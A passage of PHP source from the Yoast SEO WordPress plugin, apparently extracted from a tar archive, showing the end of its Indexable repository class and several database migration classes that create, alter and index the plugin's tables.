	 * @param wpdb                           $wpdb                 The WordPress database instance.
	 * @param Indexable_Version_Manager      $version_manager      The indexable version manager.
	 */
	public function __construct(
		Indexable_Builder $builder,
		Current_Page_Helper $current_page,
		Logger $logger,
		Indexable_Hierarchy_Repository $hierarchy_repository,
		wpdb $wpdb,
		Indexable_Version_Manager $version_manager
	) {
		$this->builder              = $builder;
		$this->current_page         = $current_page;
		$this->logger               = $logger;
		$this->hierarchy_repository = $hierarchy_repository;
		$this->wpdb                 = $wpdb;
		$this->version_manager      = $version_manager;
	}

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'Indexable' );
	}

	/**
	 * Attempts to find the indexable for the current WordPress page. Returns false if no indexable could be found.
	 * This may be the result of the indexable not existing or of being unable to determine what type of page the
	 * current page is.
	 *
	 * @return bool|Indexable The indexable. If no indexable is found returns an empty indexable. Returns false if there is a database error.
	 */
	public function for_current_page() {
		$indexable = false;

		switch ( true ) {
			case $this->current_page->is_simple_page():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_simple_page_id(), 'post' );
				break;
			case $this->current_page->is_home_static_page():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_front_page_id(), 'post' );
				break;
			case $this->current_page->is_home_posts_page():
				$indexable = $this->find_for_home_page();
				break;
			case $this->current_page->is_term_archive():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_term_id(), 'term' );
				break;
			case $this->current_page->is_date_archive():
				$indexable = $this->find_for_date_archive();
				break;
			case $this->current_page->is_search_result():
				$indexable = $this->find_for_system_page( 'search-result' );
				break;
			case $this->current_page->is_post_type_archive():
				$indexable = $this->find_for_post_type_archive( $this->current_page->get_queried_post_type() );
				break;
			case $this->current_page->is_author_archive():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_author_id(), 'user' );
				break;
			case $this->current_page->is_404():
				$indexable = $this->find_for_system_page( '404' );
				break;
		}

		if ( $indexable === false ) {
			return $this->query()->create(
				[
					'object_type' => 'unknown',
					'post_status' => 'unindexed',
					'version'     => 1,
				]
			);
		}

		return $indexable;
	}

	/**
	 * Retrieves an indexable by its permalink.
	 *
	 * @param string $permalink The indexable permalink.
	 *
	 * @return bool|Indexable The indexable, false if none could be found.
	 */
	public function find_by_permalink( $permalink ) {
		$permalink_hash = \strlen( $permalink ) . ':' . \md5( $permalink );

		// Find by both permalink_hash and permalink, permalink_hash is indexed so will be used first by the DB to optimize the query.
		return $this->query()
			->where( 'permalink_hash', $permalink_hash )
			->where( 'permalink', $permalink )
			->find_one();
	}

	/**
	 * Retrieves all the indexable instances of a certain object type.
	 *
	 * @param string $object_type The object type.
	 *
	 * @return Indexable[] The array with all the indexable instances of a certain object type.
	 */
	public function find_all_with_type( $object_type ) {
		/**
		 * The array with all the indexable instances of a certain object type.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this
			->query()
			->where( 'object_type', $object_type )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Retrieves all the indexable instances of a certain object subtype.
	 *
	 * @param string $object_type     The object type.
	 * @param string $object_sub_type The object subtype.
	 *
	 * @return Indexable[] The array with all the indexable instances of a certain object subtype.
	 */
	public function find_all_with_type_and_sub_type( $object_type, $object_sub_type ) {
		/**
		 * The array with all the indexable instances of a certain object type and subtype.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this
			->query()
			->where( 'object_type', $object_type )
			->where( 'object_sub_type', $object_sub_type )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Retrieves the homepage indexable.
	 *
	 * @param bool $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_home_page( $auto_create = true ) {
		$indexable = \wp_cache_get( 'home-page', 'yoast-seo-indexables' );
		if ( ! $indexable ) {
			/**
			 * Indexable instance.
			 *
			 * @var Indexable $indexable
			 */
			$indexable = $this->query()->where( 'object_type', 'home-page' )->find_one();

			if ( $auto_create && ! $indexable ) {
				$indexable = $this->builder->build_for_home_page();
			}

			$indexable = $this->upgrade_indexable( $indexable );

			\wp_cache_set( 'home-page', $indexable, 'yoast-seo-indexables', ( 5 * \MINUTE_IN_SECONDS ) );
		}

		return $indexable;
	}

	/**
	 * Retrieves the date archive indexable.
	 *
	 * @param bool $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_date_archive( $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this->query()->where( 'object_type', 'date-archive' )->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_date_archive();
		}

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves an indexable for a post type archive.
	 *
	 * @param string $post_type   The post type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable The indexable, false if none could be found.
	 */
	public function find_for_post_type_archive( $post_type, $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this->query()
			->where( 'object_type', 'post-type-archive' )
			->where( 'object_sub_type', $post_type )
			->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_post_type_archive( $post_type );
		}

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves the indexable for a system page.
	 *
	 * @param string $object_sub_type The type of system page.
	 * @param bool   $auto_create     Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_system_page( $object_sub_type, $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this->query()
			->where( 'object_type', 'system-page' )
			->where( 'object_sub_type', $object_sub_type )
			->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_system_page( $object_sub_type );
		}

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves an indexable by its ID and type.
	 *
	 * @param int    $object_id   The indexable object ID.
	 * @param string $object_type The indexable object type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_by_id_and_type( $object_id, $object_type, $auto_create = true ) {
		$indexable = $this->query()
			->where( 'object_id', $object_id )
			->where( 'object_type', $object_type )
			->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_id_and_type( $object_id, $object_type );
		}
		else {
			$indexable = $this->upgrade_indexable( $indexable );
		}

		return $indexable;
	}

	/**
	 * Retrieves multiple indexables at once by their id's and type.
	 *
	 * @param int[]  $object_ids  The array of indexable object id's.
	 * @param string $object_type The indexable object type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return Indexable[] An array of indexables.
	 */
	public function find_by_multiple_ids_and_type( $object_ids, $object_type, $auto_create = true ) {
		if ( empty( $object_ids ) ) {
			return [];
		}

		/**
		 * Represents an array of indexable objects.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this->query()
			->where_in( 'object_id', $object_ids )
			->where( 'object_type', $object_type )
			->find_many();

		if ( $auto_create ) {
			$indexables_available = [];
			foreach ( $indexables as $indexable ) {
				$indexables_available[] = $indexable->object_id;
			}

			$indexables_to_create = \array_diff( $object_ids, $indexables_available );

			foreach ( $indexables_to_create as $indexable_to_create ) {
				$indexables[] = $this->builder->build_for_id_and_type( $indexable_to_create, $object_type );
			}
		}

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Finds the indexables by id's.
	 *
	 * @param array $indexable_ids The indexable id's.
	 *
	 * @return Indexable[] The found indexables.
	 */
	public function find_by_ids( array $indexable_ids ) {
		if ( empty( $indexable_ids ) ) {
			return [];
		}

		$indexables = $this
			->query()
			->where_in( 'id', $indexable_ids )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Returns all ancestors of a given indexable.
	 *
	 * @param Indexable $indexable The indexable to find the ancestors of.
	 *
	 * @return Indexable[] All ancestors of the given indexable.
	 */
	public function get_ancestors( Indexable $indexable ) {
		// If we've already set ancestors on the indexable no need to get them again.
		if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) {
			return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors );
		}

		$indexable_ids = $this->hierarchy_repository->find_ancestors( $indexable );

		// If we've set ancestors on the indexable because we had to build them to find them.
		if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) {
			return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors );
		}

		if ( empty( $indexable_ids ) ) {
			return [];
		}

		if ( $indexable_ids[0] === 0 && \count( $indexable_ids ) === 1 ) {
			return [];
		}

		$indexables = $this->query()
			->where_in( 'id', $indexable_ids )
			->order_by_expr( 'FIELD(id,' . \implode( ',', $indexable_ids ) . ')' )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Returns all subpages with a given post_parent.
	 *
	 * @param int   $post_parent The post parent.
	 * @param array $exclude_ids The id's to exclude.
	 *
	 * @return Indexable[] array of indexables.
	 */
	public function get_subpages_by_post_parent( $post_parent, $exclude_ids = [] ) {
		$query = $this->query()
			->where( 'post_parent', $post_parent )
			->where( 'object_type', 'post' )
			->where( 'post_status', 'publish' );

		if ( ! empty( $exclude_ids ) ) {
			$query->where_not_in( 'object_id', $exclude_ids );
		}
		return $query->find_many();
	}

	/**
	 * Returns most recently modified posts of a post type.
	 *
	 * @param string $post_type                   The post type.
	 * @param int    $limit                       The maximum number of posts to return.
	 * @param bool   $exclude_older_than_one_year Whether to exclude posts older than one year.
	 * @param string $search_filter               Optional. A search filter to apply to the breadcrumb title.
	 *
	 * @return Indexable[] array of indexables.
	 */
	public function get_recently_modified_posts( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = '' ) {
		$query = $this->query()
			->where( 'object_type', 'post' )
			->where( 'object_sub_type', $post_type )
			->where_raw( '( is_public IS NULL OR is_public = 1 )' )
			->order_by_desc( 'object_last_modified' )
			->limit( $limit );

		if ( $exclude_older_than_one_year === true ) {
			$query->where_gte( 'object_published_at', \gmdate( 'Y-m-d H:i:s', \strtotime( '-1 year' ) ) );
		}

		if ( $search_filter !== '' ) {
			$query->where_like( 'breadcrumb_title', '%' . $search_filter . '%' );
		}

		$query->order_by_desc( 'object_last_modified' )
			->limit( $limit );

		return $query->find_many();
	}

	/**
	 * Returns the most recently modified cornerstone content of a post type.
	 *
	 * @param string   $post_type The post type.
	 * @param int|null $limit     The maximum number of posts to return.
	 *
	 * @return Indexable[] array of indexables.
	 */
	public function get_recent_cornerstone_for_post_type( string $post_type, ?int $limit ) {
		$query = $this->query()
			->where( 'object_type', 'post' )
			->where( 'object_sub_type', $post_type )
			->where_raw( '( is_public IS NULL OR is_public = 1 )' )
			->where( 'is_cornerstone', 1 )
			->order_by_desc( 'object_last_modified' );

		if ( $limit !== null ) {
			$query->limit( $limit );
		}

		return $query->find_many();
	}

	/**
	 * Updates the incoming link count for an indexable without first fetching it.
	 *
	 * @param int $indexable_id The indexable id.
	 * @param int $count        The incoming link count.
	 *
	 * @return bool Whether or not the update was succeful.
	 */
	public function update_incoming_link_count( $indexable_id, $count ) {
		return (bool) $this->query()
			->set( 'incoming_link_count', $count )
			->where( 'id', $indexable_id )
			->update_many();
	}

	/**
	 * Ensures that the given indexable has a permalink.
	 *
	 * Will be deprecated in 17.3 - Use upgrade_indexable instead.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|Indexable The indexable.
	 */
	public function ensure_permalink( $indexable ) {
		// @phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- self::class is safe.
		// @phpcs:ignore Squiz.PHP.CommentedOutCode.Found
		// _deprecated_function( __METHOD__, 'Yoast SEO 17.3', self::class . '::upgrade_indexable' );

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Checks if an Indexable is outdated, and rebuilds it when necessary.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return Indexable The indexable.
	 */
	public function upgrade_indexable( $indexable ) {
		if ( $this->version_manager->indexable_needs_upgrade( $indexable ) ) {
			$indexable = $this->builder->build( $indexable );
		}
		return $indexable;
	}

	/**
	 * Resets the permalinks of the passed object type and subtype.
	 *
	 * @param string|null $type    The type of the indexable. Can be null.
	 * @param string|null $subtype The subtype. Can be null.
	 *
	 * @return int|bool The number of permalinks changed if the query was succesful. False otherwise.
	 */
	public function reset_permalink( $type = null, $subtype = null ) {
		$query = $this->query()->set(
			[
				'permalink'      => null,
				'permalink_hash' => null,
				'version'        => 0,
			]
		);

		if ( $type !== null ) {
			$query->where( 'object_type', $type );
		}

		if ( $type !== null && $subtype !== null ) {
			$query->where( 'object_sub_type', $subtype );
		}

		return $query->update_many();
	}

	/**
	 * Gets the total number of stored indexables.
	 *
	 * @return int The total number of stored indexables.
	 */
	public function get_total_number_of_indexables() {
		return $this->query()->count();
	}
}
config/migrations/20171228151841_WpYoastPrimaryTerm.php000066600000003022152204306270016154 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Migration for the Primary Term.
 */
class WpYoastPrimaryTerm extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$indexable_table = $this->create_table( $table_name );

		$indexable_table->column(
			'post_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => false,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'term_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => false,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'taxonomy',
			'string',
			[
				'null'  => false,
				'limit' => 32,
			]
		);

		// Executes the SQL to create the table.
		$indexable_table->finish();

		$this->add_index(
			$table_name,
			[
				'post_id',
				'taxonomy',
			],
			[
				'name' => 'post_taxonomy',
			]
		);

		$this->add_index(
			$table_name,
			[
				'post_id',
				'term_id',
			],
			[
				'name' => 'post_term',
			]
		);

		$this->add_timestamps( $table_name );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string Table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Primary_Term' );
	}
}
config/migrations/20201216124002_ExpandIndexableIDColumnLengths.php000066600000002023152204306270020301 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * ExpandIndexableIDColumnLengths class.
 */
class ExpandIndexableIDColumnLengths extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * The columns to change the column type and length of.
	 *
	 * @var string[]
	 */
	protected static $columns_to_change = [
		'object_id',
		'author_id',
		'post_parent',
	];

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		foreach ( self::$columns_to_change as $column ) {
			$this->change_column(
				$this->get_table_name(),
				$column,
				'biginteger',
				[ 'limit' => 20 ]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20200428194858_ExpandIndexableColumnLengths.php000066600000003413152204306270020126 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class ExpandIndexableColumnLengths.
 */
class ExpandIndexableColumnLengths extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->change_column( $this->get_table_name(), 'title', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'open_graph_title', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'twitter_title', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'open_graph_image_source', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'twitter_image_source', 'text', [ 'null' => true ] );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$attr_limit_191 = [
			'null'  => true,
			'limit' => 191,
		];

		$this->change_column(
			$this->get_table_name(),
			'title',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'opengraph_title',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'twitter_title',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'open_graph_image_source',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'twitter_image_source',
			'string',
			$attr_limit_191
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20200408101900_AddCollationToTables.php000066600000001676152204306270016342 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class AddCollationToTables.
 */
class AddCollationToTables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		global $wpdb;

		$charset_collate = $wpdb->get_charset_collate();
		if ( empty( $charset_collate ) ) {
			return;
		}

		$tables = [
			Model::get_table_name( 'migrations' ),
			Model::get_table_name( 'Indexable' ),
			Model::get_table_name( 'Indexable_Hierarchy' ),
			Model::get_table_name( 'Primary_Term' ),
		];

		foreach ( $tables as $table ) {
			$this->query( 'ALTER TABLE ' . $table . ' CONVERT TO ' . \str_replace( 'DEFAULT ', '', $charset_collate ) );
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// No down required.
	}
}
config/migrations/20200430150130_ClearIndexableTables.php000066600000002057152204306270016330 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class ClearIndexableTables.
 */
class ClearIndexableTables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() );
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_table_name() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_hierarchy_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
config/migrations/20200702141921_CreateIndexableSubpagesIndex.php000066600000002354152204306270020046 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * CreateIndexableSubpagesIndex class.
 */
class CreateIndexableSubpagesIndex extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->change_column(
			$this->get_table_name(),
			'post_status',
			'string',
			[
				'null'  => true,
				'limit' => 20,
			]
		);
		$this->add_index(
			$this->get_table_name(),
			[ 'post_parent', 'object_type', 'post_status', 'object_id' ],
			[ 'name' => 'subpages' ]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->change_column(
			$this->get_table_name(),
			'post_status',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$this->remove_index(
			$this->get_table_name(),
			[ 'post_parent', 'object_type', 'post_status', 'object_id' ],
			[ 'name' => 'subpages' ]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20200420073606_AddColumnsToIndexables.php000066600000004124152204306270016676 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class AddColumnsToIndexables.
 */
class AddColumnsToIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$tables  = $this->get_tables();
		$blog_id = \get_current_blog_id();
		foreach ( $tables as $table ) {
			$this->add_column(
				$table,
				'blog_id',
				'biginteger',
				[
					'null'    => false,
					'limit'   => 20,
					'default' => $blog_id,
				]
			);
		}

		$attr_limit_32 = [
			'null'  => true,
			'limit' => 32,
		];
		$attr_limit_64 = [
			'null'  => true,
			'limit' => 64,
		];

		$indexable_table = $this->get_indexable_table();
		$this->add_column( $indexable_table, 'language', 'string', $attr_limit_32 );
		$this->add_column( $indexable_table, 'region', 'string', $attr_limit_32 );
		$this->add_column( $indexable_table, 'schema_page_type', 'string', $attr_limit_64 );
		$this->add_column( $indexable_table, 'schema_article_type', 'string', $attr_limit_64 );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$tables = $this->get_tables();
		foreach ( $tables as $table ) {
			$this->remove_column( $table, 'blog_id' );
		}

		$indexable_table = $this->get_indexable_table();
		$this->remove_column( $indexable_table, 'language' );
		$this->remove_column( $indexable_table, 'region' );
		$this->remove_column( $indexable_table, 'schema_page_type' );
		$this->remove_column( $indexable_table, 'schema_article_type' );
	}

	/**
	 * Retrieves the Indexable table.
	 *
	 * @return string The Indexable table name.
	 */
	protected function get_indexable_table() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table names to use.
	 *
	 * @return string[] The table names to use.
	 */
	protected function get_tables() {
		return [
			$this->get_indexable_table(),
			Model::get_table_name( 'Indexable_Hierarchy' ),
			Model::get_table_name( 'Primary_Term' ),
		];
	}
}
config/migrations/20190529075038_WpYoastDropIndexableMetaTableIfExists.php000066600000001573152204306270021700 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class WpYoastDropIndexableMetaTableIfExists.
 */
class WpYoastDropIndexableMetaTableIfExists extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		// This can be done safely as it executes a DROP IF EXISTS.
		$this->drop_table( $table_name );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// No down required. This specific table should never exist.
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable_Meta' );
	}
}
config/migrations/20201202144329_AddEstimatedReadingTime.php000066600000001703152204306270017004 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddEstimatedReadingTime class.
 */
class AddEstimatedReadingTime extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$this->add_column(
			$table_name,
			'estimated_reading_time_minutes',
			'integer',
			[
				'null'     => true,
				'default'  => null,
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$table_name = $this->get_table_name();

		$this->remove_column( $table_name, 'estimated_reading_time_minutes' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20211020091404_AddObjectTimestamps.php000066600000003007152204306270016222 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddObjectTimestamps class.
 */
class AddObjectTimestamps extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_column(
			$this->get_table_name(),
			'object_last_modified',
			'datetime',
			[
				'null'    => true,
				'default' => null,
			]
		);
		$this->add_column(
			$this->get_table_name(),
			'object_published_at',
			'datetime',
			[
				'null'    => true,
				'default' => null,
			]
		);
		$this->add_index(
			$this->get_table_name(),
			[
				'object_published_at',
				'is_robots_noindex',
				'object_type',
				'object_sub_type',
			],
			[
				'name' => 'published_sitemap_index',
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_column( $this->get_table_name(), 'object_last_modified' );
		$this->remove_column( $this->get_table_name(), 'object_published_at' );
		$this->remove_index(
			$this->get_table_name(),
			[
				'object_published_at',
				'is_robots_noindex',
				'object_type',
				'object_sub_type',
			],
			[
				'name' => 'published_sitemap_index',
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20210817092415_AddVersionColumnToIndexables.php000066600000001547152204306270020101 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddVersionColumnToIndexables class.
 */
class AddVersionColumnToIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_column(
			$this->get_table_name(),
			'version',
			'integer',
			[
				'default'  => 1,
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_column(
			$this->get_table_name(),
			'version'
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20200728095334_AddIndexesForProminentWordsOnIndexables.php000066600000002265152204306270022252 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddIndexesForProminentWordsOnIndexables class.
 */
class AddIndexesForProminentWordsOnIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * The columns on which an index should be added.
	 *
	 * @var string[]
	 */
	private $columns_with_index = [
		'prominent_words_version',
		'object_type',
		'object_sub_type',
		'post_status',
	];

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		if ( ! $adapter->has_index( $table_name, $this->columns_with_index, [ 'name' => 'prominent_words' ] ) ) {
			$this->add_index(
				$table_name,
				$this->columns_with_index,
				[
					'name' => 'prominent_words',
				]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
config/migrations/20171228151840_WpYoastIndexable.php000066600000014256152204306270015606 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Indexable migration.
 */
class WpYoastIndexable extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_table();
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Creates the indexable table.
	 *
	 * @return void
	 */
	private function add_table() {
		$table_name = $this->get_table_name();

		$indexable_table = $this->create_table( $table_name );

		// Permalink.
		$indexable_table->column( 'permalink', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column(
			'permalink_hash',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		// Object information.
		$indexable_table->column(
			'object_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'object_type',
			'string',
			[
				'null'  => false,
				'limit' => 32,
			]
		);
		$indexable_table->column(
			'object_sub_type',
			'string',
			[
				'null'  => true,
				'limit' => 32,
			]
		);

		// Ownership.
		$indexable_table->column(
			'author_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'post_parent',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);

		// Title and description.
